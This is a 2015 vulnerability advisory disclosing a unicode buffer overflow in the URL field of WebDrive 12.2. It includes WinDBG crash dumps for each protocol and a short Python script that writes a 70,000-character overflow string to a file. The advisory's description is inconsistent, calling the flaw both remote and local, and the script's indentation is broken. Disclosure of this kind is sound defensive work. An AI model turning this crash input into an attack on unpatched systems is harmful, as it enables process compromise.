WebDrive 12.2 Buffer Overflow

`Document Title:  
===============  
WebDrive 12.2 (B4172) - Buffer Overflow Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1500  
  
  
Release Date:  
=============  
2015-06-01  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1500  
  
  
Common Vulnerability Scoring System:  
====================================  
6.8  
  
  
Product & Service Introduction:  
===============================  
Unlike a typical FTP client, WebDrive allows you to open and edit server-based, files without the additional step of downloading the file.   
Using a simple wizard, you assign a network drive letter to the FTP Server. WebDrive supports additional protocols such as WebDAV, SFTP and   
Amazon S3 and maps a drive letter to each of these servers.You can map unique drive letters to multiple servers.Download the   
full-function 20-day trial of WebDrive and make file management on remote servers easier and more efficient!  
  
(Copy of the Vendor Homepage: http://www.webdrive.com/products/webdrive/ )  
  
  
Abstract Advisory Information:  
==============================  
An independent vulnerability laboratory researcher discovered an unicode buffer overflow vulnerability in the official WebDrive v12.2 (Build 4172) 32 bit software.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2015-06-01: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
South River Technologies  
Product: WebDrive - Software 12.2 (Build 4172) 32 bit  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A buffer overflow software vulnerability has been discovered in the official WebDrive v12.2 (Build 4172) 32 bit software.  
The buffer overflow vulnerability allows to include unicode strings to basic code inputs from a system user account to compromise the software process or system.  
  
A fail to sanitize the input of the URL/Address results in compromise of the software system process. Attackers are able to   
include large unicode strings to overwrite the registers like eip, ebp and co. WebDrive connects to many types of web servers,   
as well as servers in the cloud. You can use WebDrive to access your files on all of the following server types and protocols:  
  
WebDAV ------------>Vulnerable  
WebDAV over SSL---->Vulnerable  
FTP---------------->Vulnerable  
FTP over SSL------->Vulnerable  
Amazon S3---------->Vulnerable  
SFTP--------------->Vulnerable  
FrontPage Server--->Vulnerable  
  
The security risk of the buffer overflow vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 6.8.   
Exploitation of the vulnerability requires a low privilege system user account and no user interaction. Successful exploitation of the vulnerability   
results in system compromise by elevation of privileges via overwrite of the registers.  
  
Vulnerable Module(s):  
[+] URL/Address  
  
Note: Unlike a typical FTP client, WebDrive allows you to open and edit server-based, files without the additional step of downloading the file.   
Using a simple wizard, you assign a network drive letter to the FTP Server. WebDrive supports additional protocols such as WebDAV, SFTP and Amazon S3 and   
maps a drive letter to each of these servers.You can map unique drive letters to multiple servers. Download the full-function 20-day trial of WebDrive and   
make file management on remote servers easier and more efficient!  
  
  
Proof of Concept (PoC):  
=======================  
The buffer overflow web vulnerability can be exploited by local attackers with low privilege system user account and without user interaction.  
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.  
  
Manual steps to reproduce the vulnerability ...  
1. Copy the AAAA...string from WebDrive.txt to clipboard  
2. Create a connection   
3. Paste it in the URL/Address and attempt to connect.  
  
  
--- Crash Analysis using WinDBG: [WebDAV] ---  
(430.9f8): Access violation - code c0000005 (!!! second chance !!!)  
eax=001cad5c ebx=02283af8 ecx=00000041 edx=02289d9c esi=fdf47264 edi=001cad5c  
eip=0055ff2b esp=001c8cfc ebp=001c8d00 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\WebDrive\webdrive.exe  
webdrive+0x30ff2b:  
0055ff2b 66890c16 mov word ptr [esi+edx],cx ds:0023:001d1000=????  
0:000> !exchain  
001c8d20: webdrive+35a24e (005aa24e)  
001cb768: webdrive+1c0041 (00410041)  
Invalid exception stack at 00410041  
0:000> d 001cb768  
001cb768 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
001cb778 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
001cb788 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
001cb798 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
001cb7a8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
001cb7b8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
001cb7c8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
001cb7d8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A.  
  
WebDAV over SSL  
============================  
Crash Analysis using WinDBG:  
============================  
(b88.ca0): Access violation - code c0000005 (!!! second chance !!!)  
eax=00000000 ebx=00000000 ecx=00410041 edx=775e660d esi=00000000 edi=00000000  
eip=00410041 esp=000a1238 ebp=000a1258 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Windows\system32\ipworks9.dll -   
ipworks9!IPWorks_SNPP_Get+0x57f:  
00410041 038d4df0e8da add ecx,dword ptr [ebp-25170FB3h] ss:0023:daf302a5=????????  
0:000>!exchain  
Invalid exception stack at 00410041  
  
FTP and FTP over SSL  
============================  
Crash Analysis using WinDBG:  
============================  
(834.70c): Access violation - code c0000005 (!!! second chance !!!)  
eax=00000000 ebx=00410041 ecx=00000400 edx=00000000 esi=002d84f0 edi=00000000  
eip=775e64f4 esp=002d8488 ebp=002d84dc iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202  
ntdll!KiFastSystemCallRet:  
775e64f4 c3 ret  
0:000> !exchain  
002d8c1c: webdrive+35a24e (015da24e)  
002db664: 00410041  
Invalid exception stack at 00410041  
  
Amazon S3  
============================  
Crash Analysis using WinDBG:  
============================  
(a64.a98): Access violation - code c0000005 (!!! second chance !!!)  
eax=00000000 ebx=00410041 ecx=00000400 edx=00000000 esi=002f8550 edi=00000000  
eip=775e64f4 esp=002f84e8 ebp=002f853c iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202  
ntdll!KiFastSystemCallRet:  
775e64f4 c3 ret  
0:000> !exchain  
002f8c7c: webdrive+35a24e (015da24e)  
002fb6c4: 00410041  
Invalid exception stack at 00410041  
  
SFTP  
============================  
Crash Analysis using WinDBG:  
============================  
(848.9a8): Access violation - code c0000005 (!!! second chance !!!)  
eax=00000000 ebx=00410041 ecx=00000400 edx=00000000 esi=002380f8 edi=00000000  
eip=775e64f4 esp=00238090 ebp=002380e4 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202  
ntdll!KiFastSystemCallRet:  
775e64f4 c3 ret  
0:000> !exchain  
00238824: webdrive+35a24e (015da24e)  
0023b26c: 00410041  
Invalid exception stack at 00410041  
  
FrontPage Server  
============================  
Crash Analysis using WinDBG:  
============================  
(cd4.710): Access violation - code c0000005 (!!! second chance !!!)  
eax=007ba9f0 ebx=05d29738 ecx=00000041 edx=05d2fd48 esi=faa912b8 edi=007ba9f0  
eip=003bff2b esp=007b8990 ebp=007b8994 iopl=0 nv up ei pl nz na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206  
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\WebDrive\webdrive.exe  
webdrive+0x30ff2b:  
003bff2b 66890c16 mov word ptr [esi+edx],cx ds:0023:007c1000=????  
0:000> !exchain  
007b89b4: webdrive+35a24e (0040a24e)  
007bb3fc: webdrive+360041 (00410041)  
Invalid exception stack at 00410041  
'''  
  
  
PoC: Exploitcode  
buffer="http://"  
buffer+="\x41" * 70000  
off=buffer  
  
try:  
out_file = open("WebDrive.txt",'w')  
out_file.write(off)  
out_file.close()  
print("[*] Malicious txt file created successfully")  
except:  
print "[!] Error creating file"  
  
  
Reference(s):  
http://www.webdrive.com/products/webdrive/  
https://www.webdrive.com/products/webdrive/download/  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be patched by a secure parse and input restriction of the vulnerable URL/Adress parameters.  
  
  
Security Risk:  
==============  
The security risk of the buffer overflow vulnerability in the URL/Address parameter is estimated as high. (CVSS 6.8)  
  
  
Credits & Authors:  
==================  
metacom  
  
  
Disclaimer & Information:  
=========================  
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